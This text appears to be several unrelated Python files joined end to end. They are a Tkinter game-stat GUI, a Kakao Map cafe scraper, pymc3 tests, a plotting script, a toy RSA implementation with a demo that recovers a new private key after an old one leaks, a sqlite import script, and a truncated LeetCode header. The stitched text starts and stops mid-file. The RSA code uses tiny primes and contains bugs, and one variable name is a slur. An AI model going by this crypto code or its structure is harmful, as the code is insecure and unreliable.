                            fg = '#C89632', bg = '#040D24', bd = 1,
                            command = self.playerselect)
        StatDisplayButton = TkButton(master = self,
                            text = 'Stat Display',
                            font = ('Helectiva', 20, 'bold'),
                            fg = '#C89632', bg = '#040D24', bd = 1,
                            command = self.statdisplay)
        AnalysisButton = TkButton(master = self,
                            text = 'Stat Analysis',
                            font = ('Helectiva', 20, 'bold'),
                            fg = '#C89632', bg = '#040D24', bd = 1,
                            command = self.statanalysis)

        RecordingButton.bind('<Enter>', button_highlight)
        StatDisplayButton.bind('<Enter>', button_highlight)
        AnalysisButton.bind('<Enter>', button_highlight)
        RecordingButton.bind('<Leave>', button_dehighlight)
        StatDisplayButton.bind('<Leave>', button_dehighlight)
        AnalysisButton.bind('<Leave>', button_dehighlight)

        self.canvas.create_window((322,186), window = RecordingButton,
                                  width = 323, height = 40)
        self.canvas.create_window((255,245), window = StatDisplayButton,
                                  width = 320, height = 40)
        self.canvas.create_window((204,308), window = AnalysisButton,
                                  width = 320, height = 41)

        #create a dynamic focus-based label in bottom text slot
        #maybe recreate the focus-based 'select-ball' on right of option

    def playerselect(self, init=True):
        '''
        A new toplevel screen or replacement canvas inside main_frame.
        Called before stat recording begins, used to selecting
        participating players. Method uncertain. Must initialize
        players and player relations to before recordingscreen because
        recordingscreen will depend on current players.
        '''

        try: self.canvas.delete('all')
        except Exception as ex: print(ex)

        #canvas cosmetics, image resourcing

        self.backimage = PhotoImage(file = 'back.png')
        self.toggleon = PhotoImage(file = 'toggleon.png')
        self.toggleoff = PhotoImage(file = 'toggleoff.png')
        self.pselectbackground = PhotoImage(file = 'listboxbackground.png')
        self.p1coin = PhotoImage(file = 'p1coin.png')
        self.p2coin = PhotoImage(file = 'p2coin.png')
        self.p3coin = PhotoImage(file = 'p3coin.png')
        self.p4coin = PhotoImage(file = 'p4coin.png')
        self.coinlist = [self.p1coin, self.p2coin, self.p3coin, self.p4coin]

        def back():
            self.titlescreen()

        def namefill():
            print('Trying to fill list with names.')
            self.cur.execute("""SELECT Name FROM basic""")
            for name in self.cur:
                print(name)
                self.playerlist.insert(END, name)
            print('Done trying.')

        def playercoin(self, event):

            def move_coin(event):
                self.canvas.move('p{}coin'.format(coinslot),
                                 event.x - 20, event.y - 20)

            def determine_character(event):
                # consider storing this grid info and grid arithmetic in
                # a separate module
                character_array = {
                    'dr. mario' : (45, 100), 'mario' : (125, 95),
                    'luigi': (205, 95), 'bowser' : (285, 95),
                    'peach': (365, 95), 'yoshi' : (445, 95),
                    'dk': (525, 95), 'falcon' : (610, 95),
                    'ganondorf' : (690, 100), 'falco' : (45, 175),
                    'fox' : (125, 170), 'ness' : (205,170),
                    'ice climbers' : (285, 170), 'kirby' : (365, 170),
                    'samus' : (445, 170), 'zelda' : (525, 170),
                    'link' : (610, 170), 'young link':(690, 175),
                    'pichu' : (130, 250), 'pikachu' : (205, 245),
                    'jigglypuff' : (285, 245), 'mewtwo' : (365, 245),
                    'game and watch' : (445, 245), 'marth' : (525, 245),
                    'roy' : (610, 250)}

                coin_x = coin.winfo_x() + 20
                coin_y = coin.winfo_y() + 20
                x = portrait_width = 70; y = portrait_height = 65
                for character in character_array.keys():
                    pivot = portrait_corner = character_array[character]
                    if coin_x >= pivot[0] and coin_x <= pivot[0] + x:
                        if coin_y >= pivot[1] and coin_y <= pivot[1] + y:
                            print('Selected {}'.format(character))

            coinslot = event.widget.slot
            print('Creating p{} coin.'.format(coinslot))
            coin_origin = ((event.widget.winfo_x() + 120,
                            event.widget.winfo_y()))
            coin = Label(self, borderwidth = 0,
                              image = self.coinlist[coinslot - 1])
            coin.bind('<B1-Motion>', move_coin)
            coin.bind('<ButtonRelease-1>', determine_character)
            self.canvas.create_window(coin_origin,
                                      window = coin,
                                      tags = ('p{}coin'.format(coinslot),
                                              'p{}'.format(coinslot)))

        def playerselectbox(self, event):

            xpos = event.widget.winfo_x() + 90
            ypos = event.widget.winfo_y() + 135
            self.playerlist = Listbox(self,
                              bg = 'black', fg = 'white',
                              font = ('Helectiva', 15, 'bold'),
                              selectmode = SINGLE, takefocus = True)
            self.canvas.create_window((xpos, ypos),
                                      window = self.playerlist,
                                      width = 160,  height = 210,
                                      tags = ('p{}box'
                                              .format(event.widget.slot),
                                              'p{}'
                                              .format(event.widget.slot)))
            self.playerlist.focus(); namefill()

            #create name entry button
            #handle name selection/creation

        def buttontoggle(event):
            '''changes the image on the player toggle button'''

            if event.widget.var.get() == 0:
                event.widget.var.set(1)
                event.widget.config(image = self.toggleon)
                playerselectbox(self, event)
                playercoin(self, event)

            else:
                event.widget.var.set(0)
                event.widget.config(image = self.toggleoff)
                self.canvas.delete('p{}'.format(event.widget.slot))

        #button widget creations
        backbutton = Button(self,
                            image = self.backimage, bd = 0, command = back)
        self.canvas.create_window((720, 65), window = backbutton)
        toggle_xpos = 90; toggle_ypos = 335
        for slot in range(1,5):
            toggle = BooleanVar(self)
            button = Checkbutton(self, indicatoron = False,
                                 image = self.toggleoff, borderwidth = 0)
            button.var = toggle
            button.slot = slot
            button.bind('<Button-1>', buttontoggle)
            self.canvas.create_window((toggle_xpos, toggle_ypos),
                                      window = button,
                                      tag = 'p{}toggle'.format(slot))
            toggle_xpos += 175

        # this next block somehow fails if placed in resourcing block above
        self.pselectbackground = PhotoImage(file = 'playerselect.png')
        self.canvas.create_image((400,300), image = self.pselectbackground)

        #to do:
        #   -provide an option for adding a completely new player
        #   -instantiate player classes from given names

    def recordingscreen(self):

        '''Possibly integrate playerselection and recording.'''

        pass

    def statdisplay(self):

        '''Display session and all-time stats.'''

        pass

    def statanalysis(self):

        '''In depth analysis.'''

        pass

    def guiquit(self):

        '''Clean up and close.'''

        pass

if __name__ == '__main__':

    root = Tk()
    retardedlifeless = Smash(root)
    retardedlifeless.pack()
    root.mainloop()

##if __name__ == '__main__':
##
##    try:
##        root = Tk()
##        retardedlifeless = Smash(root)
##        retardedlifeless.pack()
##        root.mainloop()
##
##    except Exception as ex:
##
##        print(ex)
##        input()


# 25개구 for문으로 돌려서 카페 정보 크롤링하기
import os
from time import sleep
import time
import re
from bs4 import BeautifulSoup # 아나콘다 파이썬으로 실행하면 BeautifulSoup을 다운 받지 않아도 된다.
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
from selenium.common.exceptions import ElementNotInteractableException
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# 크롬 크롤링 디버깅용
from selenium.webdriver.chrome.options import Options

##########################################################################
##################### variable related selenium ##########################
##########################################################################

# 서울 특별시 구 리스트
# gu_list = ['마포구','서대문구','은평구','종로구','중구','용산구','성동구','광진구',
#            '동대문구','성북구','강북구','도봉구','노원구','중랑구','강동구','송파구',
#            '강남구','서초구','관악구','동작구','영등포구','금천구','구로구','양천구','강서구']
gu_list = ['영등포구']

# csv 파일에 헤더 만들어 주기
for index, gu_name in enumerate(gu_list):
    fileName = gu_name + 'cafe.csv' # index.__str__() + '_' + gu_name + '.'+'csv'
    file = open(fileName, 'w', encoding='utf-8')
    # 파일 만들기
    file.write("구"+ "|" + "URL_ID" + "|" + "카페명" + "|" + "평점" + "|" + "리뷰개수" + "|" + "주소" + "|"
               + "영업시간" + "|" + "전화번호" + "|" + "홈페이지주소" + "|"
               + "태그" + "|"  + "메뉴"  + "|" + "대표사진주소" + "|" + "\n") # 처음에 csv파일에 칼럼명 만들어주기
    file.close()

    # 크롬 크롤링 디버깅용
    # chrome_options = Options()
    # chrome_options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
    ### C드라이브에 크롬이 깔려있는 곳에 가서 cmd 실행 후 'chrome.exe --chrome.exe --remote-debugging-port=9222 --user-data-dir="C:/ChromeTEMP"'입력하면 디버깅용 크롬이 나옴

    # 진짜 크롤링용
    options = webdriver.ChromeOptions()
    options.add_experimental_option("excludeSwitches", ["enable-logging"])
    # options.add_argument('headless')
    options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36")
    # options.add_argument('lang=ko_KR')
    driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)

    # 카카오맵
    url = 'https://map.kakao.com/'
    driver.get(url)  # 주소 가져오기
    search_area = driver.find_element_by_xpath('//*[@id="search.keyword.query"]') # 검색 창
    search_area.send_keys('서울 ' + gu_name + ' 카페')  # 검색어 입력
    driver.find_element_by_xpath('//*[@id="search.keyword.submit"]').send_keys(Keys.ENTER)  # Enter로 검색
    driver.implicitly_wait(3) # 기다려 주자
    more_page = driver.find_element_by_id("info.search.place.more")
    more_page.send_keys(Keys.ENTER) # 더보기 누르고
    # 첫 번째 검색 페이지 끝
    # 기다려주기
    time.sleep(1)

    # next 사용 가능?
    next_btn = driver.find_element_by_id("info.search.page.next")
    has_next = "disabled" not in next_btn.get_attribute("class").split(" ")
    Page = 1

    while has_next: # 다음 페이지가 있으면 loop
        time.sleep(1)
        # 페이지 루프
        #info\.search\.page\.no1 ~ .no5
        page_links = driver.find_elements_by_css_selector("#info\.search\.page a")
        pages = [link for link in page_links if "HIDDEN" not in link.get_attribute("class").split(" ")]
        # print(len(pages), "개의 페이지 있음")
        # pages를 하나씩 클릭하면서
        for i in range(1, 6):
            xPath = '//*[@id="info.search.page.no' + str(i) + '"]'
            try:
                page = driver.find_element_by_xpath(xPath)
                page.send_keys(Keys.ENTER)
            except ElementNotInteractableException:
                print('End of Page')
                break
            sleep(3)
            place_lists = driver.find_elements_by_css_selector('#info\.search\.place\.list > li')
            for p in place_lists: # WebElement
                file = open(fileName, 'a', encoding='utf-8')
                # time.sleep(10)
                store_html = p.get_attribute('innerHTML')
                # print(store_html)
                store_info = BeautifulSoup(store_html, "html.parser")

                place_name = store_info.select('.head_item > .tit_name > .link_name')
                if len(place_name) == 0:
                    continue # 광고는 제외
                # 가게 이름
                place_name = store_info.select('.head_item > .tit_name > .link_name')[0].text
                print(place_name)
                # 가게 카테고리
                place_category = store_info.select('.head_item > .subcategory.clickable')[0].text
                place_category = '#' + place_category + " "
                # 가게 주소
                place_address = store_info.select('.info_item > .addr > p')[0].text
                # 가게 전화번호
                place_tel = store_info.select('.info_item > .contact > span')[0].text
                # 가게 평점
                place_rate = ""
                review_count = ""
                try:
                    place_rate = store_info.select('.rating.clickArea > .score > em')[0].text
                    review_count = store_info.select('.rating.clickArea > .score > a')[0].text
                except:
                    place_rate = ""
                    review_count = ""

                # print(place_rate, review_count)

                # 카페 상세페이지 이동
                detail = p.find_element_by_css_selector('div.info_item > div.contact > a.moreview')
                detail.send_keys(Keys.ENTER)

                driver.switch_to.window(driver.window_handles[-1])

                # 가게 URL ID(PK예정)
                place_url = driver.current_url
                place_url = place_url.strip('https://place.map.kakao.com/')

                # 가게 사진
                place_photo = ""
                try:
                    photo = driver.find_element_by_css_selector('span.bg_present')
                    photo_url = photo.get_attribute('style')
                    m = re.search('"(.+?)"', photo_url)
                    if m:
                        place_photo = m.group(1)
                    else:
                        place_photo = ""
                except:
                    place_photo = ""

                # 가게 홈페이지
                try:
                    place_homepage = driver.find_element_by_css_selector('div.placeinfo_default.placeinfo_homepage > div.location_detail > div.location_present > a.link_homepage').text
                except:
                    place_homepage = ""
                # 가게 태그
                try:
                    place_tags = driver.find_element_by_css_selector('div.placeinfo_default > div.location_detail > div.txt_tag > span.tag_g').text
                    place_tags = place_category + place_tags
                except:
                    place_tags = ""
                    place_tags = place_category + place_tags
                # print(place_tags)

                # 가게 영업시간
                flag = False
                try:
                    if driver.find_element_by_css_selector(
                        '#mArticle > div.cont_essential > div.details_placeinfo > div:nth-child(3) > div > div.fold_floor'
                    ):
                        flag = True
                except:
                    pass
                place_hour = ""
                if flag:
                    try:
                        # find elements로 여러개 뽑아와서 반복문 돌리기
                        elements = driver.find_elements_by_css_selector(
                            '#mArticle > div.cont_essential > div.details_placeinfo > div:nth-child(3) > div > div.fold_floor > div'
                        )
                        # print(flag)
                        # print('good')
                        for i in elements:
                            j = i.get_attribute('innerHTML')
                            k = BeautifulSoup(j, "html.parser")
                            a = (k.text).strip('\n')
                            times = a.split('\n')
                        for j in range(len(times)-1):
                            times[j] = times[j].rstrip()
                            if times[j]:
                                place_hour += '&' + times[j]
                        place_hour = place_hour.lstrip('&')

                    except:
                        print('except')

                else:
                    try:
                        element = driver.find_element_by_css_selector(
                            '#mArticle > div.cont_essential > div.details_placeinfo > div:nth-child(3) > div > div > ul')
                        # print(flag)
                        # print(element.text)
                        place_hour = '영업시간&' + element.text
                        # selling_day_dict[mydict].append(element.text)
                        # print(selling_day_dict)
                    except:
                        print('except noflag')

                # print('카페이름: ' + place_name)

                # 카페 메뉴
                place_menu = ""
                try:
                    if driver.find_element_by_class_name('cont_menu'):
                        # print('있음1')
                        # menu_lists = driver.find_element_by_css_selector('div.cont_menu' > 'ul.list_menu')
                        menu_lists = driver.find_element_by_xpath('//*[@id="mArticle"]/div[3]/ul')
                        # print(menu_lists)
                        menu_lists = menu_lists.get_attribute('innerHTML')
                        # print(menu_lists)
                        menu_lists = BeautifulSoup(menu_lists, "html.parser")
                        # print(menu_lists)
                        for menu in menu_lists:
                            tmp = menu.text.strip('\n')
                            menu = tmp.split('\n')
                            if len(menu) > 1:
                                if '추천' in menu[1]:
                                    Menu = menu[1].strip('추천')
                                    menu_name = '메뉴 이름: ' + Menu
                                else:
                                    menu_name = '메뉴 이름: ' + menu[1]
                                menu_price = menu[2]
                                place_menu += (menu_name + ' ' + menu_price) + '&'
                        place_menu = place_menu.rstrip('&')

                except:
                    print('없음')

                driver.close()
                driver.switch_to.window(driver.window_handles[0])
                file.write(gu_name + "|" + place_url + "|" + place_name + "|" + place_rate + "|" + review_count + "|" + place_address + "|" + place_hour + "|" + place_tel + "|" + place_homepage + "|"
                           + place_tags + "|" + place_menu + "|" +  place_photo + "\n")
                file.close()
            print(i, ' of', ' [ ' , Page, ' ] ')

        next_btn = driver.find_element_by_id("info.search.page.next")
        has_next = "disabled" not in next_btn.get_attribute("class").split(" ")
        if not has_next:
            print('Arrow is Disabled')
            driver.close()
            file.close()
            break # 다음 페이지 없으니까 종료
        else: # 다음 페이지 있으면
            Page += 1
            next_btn.send_keys(Keys.ENTER)
    print("End of Crawl")


import pymc3 as pm
import numpy as np
from numpy import random as nr
import numpy.testing as npt
import pytest
import theano.tensor as tt
import theano

from pymc3.distributions.distribution import _draw_value, draw_values
from .helpers import SeededTest

def test_draw_value():
    npt.assert_equal(_draw_value(np.array([5, 6])), [5, 6])
    npt.assert_equal(_draw_value(np.array(5.)), 5)

    npt.assert_equal(_draw_value(tt.constant([5., 6.])), [5, 6])
    assert _draw_value(tt.constant(5)) == 5
    npt.assert_equal(_draw_value(2 * tt.constant([5., 6.])), [10, 12])

    val = theano.shared(np.array([5., 6.]))
    npt.assert_equal(_draw_value(val), [5, 6])
    npt.assert_equal(_draw_value(2 * val), [10, 12])

    a = tt.scalar('a')
    a.tag.test_value = 6
    npt.assert_equal(_draw_value(2 * a, givens=[(a, 1)]), 2)

    assert _draw_value(5) == 5
    assert _draw_value(5.) == 5
    assert isinstance(_draw_value(5.), type(5.))
    assert isinstance(_draw_value(5), type(5))

    with pm.Model():
        mu = 2 * tt.constant(np.array([5., 6.])) + theano.shared(np.array(5))
        a = pm.Normal('a', mu=mu, sigma=5, shape=2)

    val1 = _draw_value(a)
    val2 = _draw_value(a)
    assert np.all(val1 != val2)

    with pytest.raises(ValueError) as err:
        _draw_value([])
    err.match('Unexpected type')

class TestDrawValues:
    def test_empty(self):
        assert draw_values([]) == []

    def test_vals(self):
        npt.assert_equal(draw_values([np.array([5, 6])])[0], [5, 6])
        npt.assert_equal(draw_values([np.array(5.)])[0], 5)

        npt.assert_equal(draw_values([tt.constant([5., 6.])])[0], [5, 6])
        assert draw_values([tt.constant(5)])[0] == 5
        npt.assert_equal(draw_values([2 * tt.constant([5., 6.])])[0], [10, 12])

        val = theano.shared(np.array([5., 6.]))
        npt.assert_equal(draw_values([val])[0], [5, 6])
        npt.assert_equal(draw_values([2 * val])[0], [10, 12])

    def test_simple_model(self):
        with pm.Model():
            mu = 2 * tt.constant(np.array([5., 6.])) + theano.shared(np.array(5))
            a = pm.Normal('a', mu=mu, sigma=5, shape=2)

        val1 = draw_values([a])
        val2 = draw_values([a])
        assert np.all(val1[0] != val2[0])

        point = {'a': np.array([3., 4.])}
        npt.assert_equal(draw_values([a], point=point), [point['a']])

    def test_dep_vars(self):
        with pm.Model():
            mu = 2 * tt.constant(np.array([5., 6.])) + theano.shared(np.array(5))
            sd = pm.HalfNormal('sd', shape=2)
            tau = 1 / sd ** 2
            a = pm.Normal('a', mu=mu, tau=tau, shape=2)

        point = {'a': np.array([1., 2.])}
        npt.assert_equal(draw_values([a], point=point), [point['a']])

        val1 = draw_values([a])[0]
        val2 = draw_values([a], point={'sd': np.array([2., 3.])})[0]
        val3 = draw_values([a], point={'sd_log__': np.array([2., 3.])})[0]
        val4 = draw_values([a], point={'sd_log__': np.array([2., 3.])})[0]

        assert all([np.all(val1 != val2), np.all(val1 != val3),
                    np.all(val1 != val4), np.all(val2 != val3),
                    np.all(val2 != val4), np.all(val3 != val4)])

class TestJointDistributionDrawValues(SeededTest):
    def test_joint_distribution(self):
        with pm.Model() as model:
            a = pm.Normal('a', mu=0, sigma=100)
            b = pm.Normal('b', mu=a, sigma=1e-8)
            c = pm.Normal('c', mu=a, sigma=1e-8)
            d = pm.Deterministic('d', b + c)

        # Expected RVs
        N = 1000
        norm = np.random.randn(3, N)
        eA = norm[0] * 100
        eB = eA + norm[1] * 1e-8
        eC = eA + norm[2] * 1e-8
        eD = eB + eC

        # Drawn RVs
        nr.seed(self.random_seed)
#        A, B, C, D = list(zip(*[draw_values([a, b, c, d]) for i in range(N)]))
        A, B, C, D = draw_values([a, b, c, d], size=N)
        A = np.array(A).flatten()
        B = np.array(B).flatten()
        C = np.array(C).flatten()
        D = np.array(D).flatten()

        # Assert that the drawn samples match the expected values
        assert np.allclose(eA, A)
        assert np.allclose(eB, B)
        assert np.allclose(eC, C)
        assert np.allclose(eD, D)

        # Assert that A, B and C have the expected difference
        assert np.all(np.abs(A - B) < 1e-6)
        assert np.all(np.abs(A - C) < 1e-6)
        assert np.all(np.abs(B - C) < 1e-6)

        # Marginal draws
        mA = np.array([draw_values([a]) for i in range(N)]).flatten()
        mB = np.array([draw_values([b]) for i in range(N)]).flatten()
        mC = np.array([draw_values([c]) for i in range(N)]).flatten()
        # Also test the with model context of draw_values
        with model:
            mD = np.array([draw_values([d]) for i in range(N)]).flatten()

        # Assert that the marginal distributions have different sample values
        assert not np.all(np.abs(B - mB) < 1e-2)
        assert not np.all(np.abs(C - mC) < 1e-2)
        assert not np.all(np.abs(D - mD) < 1e-2)

        # Assert that the marginal distributions do not have high cross
        # correlation
        assert np.abs(np.corrcoef(mA, mB)[0, 1]) < 0.1
        assert np.abs(np.corrcoef(mA, mC)[0, 1]) < 0.1
        assert np.abs(np.corrcoef(mB, mC)[0, 1]) < 0.1


import matplotlib.pyplot as plt
import csv

x = []
y = []

with open('temperature.csv','r') as csvfile:
    plots = csv.reader(csvfile, delimiter = ';')

    for row in plots:
        x.append(row[2])
        y.append(row[1])

# plt.bar(x, y, color = 'g', width = 0.72, label = "Temperature")
# plt.bar(x, y, color = 'g', width = 0.72, label = "Temperature")
plt.plot(x, y, color = 'g', linestyle = 'solid', marker = 'o',label = "Temperature")
plt.xlabel('Time')
plt.ylabel('Value')
plt.title('Temperature')
plt.legend()
plt.show()


# reference:
#   https://www.youtube.com/watch?v=rVQpK6NcYIE
#   https://www.youtube.com/watch?v=wXB-V_Keiu8

import math
import secrets
import threading
import multiprocessing
from time import time
from timeit import timeit

from tqdm import tqdm

def EEA(b, m):
    '''
    Return the inverse of b from b (mod m), using Extended
    Euclidean Algorithm (EEA) algorithm.

    b and m fulfill: (b * b^-1) mod m = 1
    '''
    a1, a2, a3 = 1, 0, m
    b1, b2, b3 = 0, 1, b
    while (True):
        if b3 == 0:
            return None  # gcd(m, b) = a3
        if b3 == 1:
            while(b2 < 0):
                b2 += m
            return b2  # gcd(m, b) = b3
        q = int(a3 / b3)  # quotient
        a1, a2, a3, b1, b2, b3 = b1, b2, b3, a1-q*b1, a2-q*b2, a3-q*b3

def rsaGenKey(primeStart: int = None):
    '''
    @param primeStart: start point of prime numbers (p, q >= primeStart). default 12345
    @return pubKey(e, n), privKey(d, n), (p, q)
    '''

    def getPQ(start: int = None):
        '''
        Get the 2 primes, p and q, which form phi_n, for RSA algorithm.
        p and q are large and roughly equal-length, e.g., |p|=|q|=512-bits.
        @param start: start point of the primes, default 12345.
        '''

        def gen_primes(start: int = None):
            """
            (Fast prime generator)
            Generate an infinite sequence of prime numbers.
            @param start: the start point of prime searching process, default 2.

            Sieve of Eratosthenes
            Code by David Eppstein, UC Irvine, 28 Feb 2002
            http://code.activestate.com/recipes/117119/
            """
            # Maps composites to primes witnessing their compositeness.
            # This is memory efficient, as the sieve is not "run forward"
            # indefinitely, but only as long as required by the current
            # number being tested.
            #
            D = {}

            # The running integer that's checked for primeness
            q = 2

            while True:
                if q not in D:
                    # q is a new prime.
                    # Yield it and mark its first multiple that isn't
                    # already marked in previous iterations
                    #
                    if q > start:
                        yield q
                    D[q * q] = [q]
                else:
                    # q is composite. D[q] is the list of primes that
                    # divide it. Since we've reached q, we no longer
                    # need it in the map, but we'll mark the next
                    # multiples of its witnesses to prepare for larger
                    # numbers
                    #
                    for p in D[q]:
                        # if D.has_key(p+q):
                        #     D[p+q].append(p)
                        # else:
                        #     D[p+q] = [p]
                        D.setdefault(p + q, []).append(p)
                    del D[q]

                q += 1

        start = start or 12345

        cnt = 0
        for i in gen_primes(start):
            if cnt == 0:
                p = i
            elif cnt == 1:
                q = i
            else:
                break
            cnt += 1
        return p, q

    def getE(phi_n):
        '''
        Generate e of the public key of RSA (PK=(e, n)).
        1 < e < phi(n), n % e != 0
        '''

        def gcd(a, b):
            ''' Return gcd of a and b'''
            if a == 0 and b == 0:
                raise ValueError("a and b cannot be both 0")
            if a < b:
                a, b = b, a
            # print("In gcd, a={}, b={}".format(a, b))
            if b == 0:
                return a
            while True:
                tmp = a % b
                if tmp == 0:
                    return b
                a, b = b, tmp

        i = secrets.randbelow(int(math.sqrt(phi_n)))
        while i < phi_n:
            # i must be co-prime to phi and
            # smaller than phi.
            if gcd(i, phi_n) == 1:
                return i
            i += 1

    def getD(e, phi_n):
        '''Get d of the private key of RSA.'''
        def slowMethod():
            '''Simple way, extremely slow.'''
            print(
                f"Trying to get d (e={e}, phi_n={phi_n}), this may take some time...", end='')
            timer = time()
            d = 1
            while (d * e) % phi_n != 1:
                d += 1
            print("finished in {:.3}s".format(time.time()-timer))
            return d

        def fastMethod():
            def EEA(b, m):
                '''
                Return the inverse of b from b (mod m), using Extended
                Euclidean Algorithm (EEA) algorithm.

                b and m fulfill: (b * b^-1) mod m = 1
                '''
                a1, a2, a3 = 1, 0, m
                b1, b2, b3 = 0, 1, b
                while (True):
                    if b3 == 0:
                        return None  # gcd(m, b) = a3
                    if b3 == 1:
                        while(b2 < 0):
                            b2 += m
                        return b2  # gcd(m, b) = b3
                    q = int(a3 / b3)  # quotient
                    a1, a2, a3, b1, b2, b3 = b1, b2, b3, a1-q*b1, a2-q*b2, a3-q*b3

            d = EEA(e, phi_n)
            assert d > 0, f"d should be positive (e={e}, phi_n={phi_n})"
            return d

        res = fastMethod()
        return res

    # Public key
    p, q = getPQ(primeStart)
    n = p * q  # public modulus
    phi_n = (p-1) * (q-1)
    e = getE(phi_n)
    pubKey = (e, n)

    # Private key
    d = getD(e, phi_n)
    privKey = (d, n)

    return pubKey, privKey, (p, q)

def fastMod(x: int, p: int, m: int):
    '''Fast modular square operation. Return x^p mod m.'''
    binP = format(p, 'b')
    pList = []
    for k in range(len(binP)):
        c = binP[len(binP) - 1 - k]
        if c == '1':
            pList.append(2**k)

    tmp = x
    xList = [tmp]  # [x^1 % m, x^2 % m, x^4 % m, ...]
    for i in range(len(binP)-1):
        tmp = (tmp*tmp) % m
        xList.append(tmp)

    x = 1
    for i in range(len(binP)):
        if binP[::-1][i] == '1':
            x *= xList[i]

    return x % m

def rsaEncrypt(data: int, pk: tuple) -> int:
    '''Encrypt data using RSA public key. Return encrypted data.'''
    e, n = pk
    # How to simplify the calculation:
    #    if x = a * b, then
    #    x mod n = [(a mod n) * (b mod n)] mod n
    # e.g., 16 mod 3 = (4 mod 3)(4 mod 3) mod 3 = 1*1 mod 3 = 1
    # for more: https://chenyangwang.gitbook.io/mathematical-base-for-information-safety/tong-yu-shi/fu-za-qu-mo-yun-suan-jian-hua
    # return (data**e) % n
    return fastMod(data, e, n)

def rsaDecrypt(encrypted: int, sk: int) -> int:
    '''Decrypt data using RSA private key. Return decrypted data.'''
    d, n = sk
    # return (encrypted**d) % n
    return fastMod(encrypted, d, n)

corruptTime = 0

def rsaDemo(info: bool = False, data: int = None):
    pk, sk, (p, q) = rsaGenKey()
    if info:
        print("Primes     : (p={}, q={})".format(p, q))
        print("Public key : (e={}, n={})".format(pk[0], pk[1]))
        print("Private key: (d={}, n={})".format(sk[0], sk[1]))

    data = data or 123456
    enc = rsaEncrypt(data, pk)
    dec = rsaDecrypt(enc, sk)
    if info:
        print("Data     :", data)
        print("Encrypted:", enc)
        print("Decrypted:", dec)

    global corruptTime
    if data != dec:
        corruptTime += 1

def rsaDemoTimeit():
    runTime = 200
    t = timeit(rsaDemo, number=runTime)
    print("Finished in {:.3}s ({:.3}s/round)".format(t, t/runTime))
    print("{}% success ({} failed)".format(
        int((runTime-corruptTime)/runTime*100), corruptTime))

def hackDemo():
    '''
    Bob's old d is leaked, but he didn't change p and q, and
    directly generate new e2, n2, and d2. How to hack d2.
    '''

    # Unknown
    p = 12347
    q = 12373
    phi_n = (p-1)*(q-1)
    # Known
    e = 9833
    n = 152769431
    d = 55455977
    e2 = 2
    # Target
    d2 = EEA(e2, phi_n)

    # Try to guess d2
    # phi_n=(e*d-1)/k (k<min(e,d))
    print("Start hacking...")
    timer = time()
    guessed = []
    k_limit = min(e, d)
    for k in tqdm(range(1, k_limit)):
        # for k in range(1, k_limit):
        gphi_n = (e*d-1)/k
        gp_limit = min(n, gphi_n)
        for gp in tqdm(range(1, gp_limit)):
            # for gp in range(1, gp_limit):
            if n % gp == 0:
                gq = n/gp
                if gp*gq == n and (gp-1)*(gq-1) == gphi_n:
                    gd = EEA(e2, gphi_n)
                    print("Guessed d: {}. {}".format(
                        gd, 'Correct' if gd == d2 else 'Wrong'))
                    guessed.append(gphi_n)
    # for gphi_n in guessed:
    #     gd = EEA(e2, gphi_n)
    #     print("Guessed d: {}. {}".format(
    #         gd, 'Correct' if gd == d2 else 'Wrong'))
    print("Finished in {:.3}s.".format(time()-timer))

def threadHackDemo():
    '''
    Threading accelated hacking process:
    Bob's old d is leaked, but he didn't change p and q, and
    directly generate new e2, n2, and d2. How to hack d2.
    '''

    # Unknown
    p, q = 12347, 12373
    phi_n = (p-1)*(q-1)
    # Known
    e, n, d, e2 = 9833, 152769431, 55455977, 2
    # Target
    d2 = EEA(e2, phi_n)

    def hack(k_start, k_end, childID):
        # Try to guess d2
        print("Start hacking...")
        timer = time()
        guessed = []
        for k in tqdm(range(k_start, k_end), desc=f"Child {childID} (k:[{k_start}~{k_end}])"):
            if (e*d-1) % k != 0:
                continue
            gphi_n = int((e*d-1)/k)
            gp_limit = min(n, gphi_n)
            for gp in tqdm(range(1, gp_limit), desc=f"Child {childID} (gp:[1~{gp_limit}])"):
                if n % gp == 0:
                    gq = n/gp
                    if gp*gq == n and (gp-1)*(gq-1) == gphi_n:
                        gd = EEA(e2, gphi_n)
                        if gd == None:
                            tqdm.write(
                                "Find the good p,q, but dont have an inversion e.")
                            continue
                        tqdm.write("Guessed d: {}. {}".format(
                            gd, 'Correct' if gd == d2 else 'Wrong'))
                        guessed.append([gp, gq])
        print("All guessed results (in form of [p, q]):", guessed)
        print("Finished in {:.3}s.".format(time()-timer))

    k_limit = min(e, d)
    cpuCnt = multiprocessing.cpu_count() - 2  # prevent killing computer
    step = math.ceil(k_limit/cpuCnt)
    for i in range(cpuCnt):
        k_start, k_end = step*i, step*(i+1)
        if k_start == 0:
            k_start = 1
        if k_end > k_limit:
            k_end = k_limit
        t = threading.Thread(target=hack, args=(k_start, k_end, i+1))
        t.start()

if __name__ == '__main__':
    rsaDemo(True, 114514)
    # threadHackDemo()


import csv
import sqlite3

if __name__ == '__main__':
  with open('DADOS_ABERTOS_MEDICAMENTOS.csv', 'r', newline='', encoding='latin-1') as medicines:
    medicines_csv = csv.DictReader(medicines, delimiter=';', quotechar='\n')
    nome_length = 0
    for index, row in enumerate(medicines_csv):
      print(row['NOME_PRODUTO'], row['EMPRESA_DETENTORA_REGISTRO'])
      sqlite_path = '../backend/tmp/db.sqlite3'
      sqlite_connection = sqlite3.connect(sqlite_path)
      query = 'INSERT INTO medicamentos (id, nome, farmaceutica) VALUES (NULL, ?, ?)'
      sqlite_connection.execute(query, (row['NOME_PRODUTO'], row['EMPRESA_DETENTORA_REGISTRO']))
      sqlite_connection.commit()
    sqlite_connection.close()


# 1128. 等价多米诺骨牌对的数量
# 给你一个由一些多米诺骨牌组成的列表 dominoes。

# 如果其中某一张多米诺骨牌可以通过旋转 0 度或 180 度得到另一张多米诺骨牌，我们就认为这两张牌是等价的。

# 形式上，dominoes[i] = [a, b] 和 dominoes[j] = [c, d] 等价的前提是 a==c 且 b==d，或是 a==d 且 b==c。

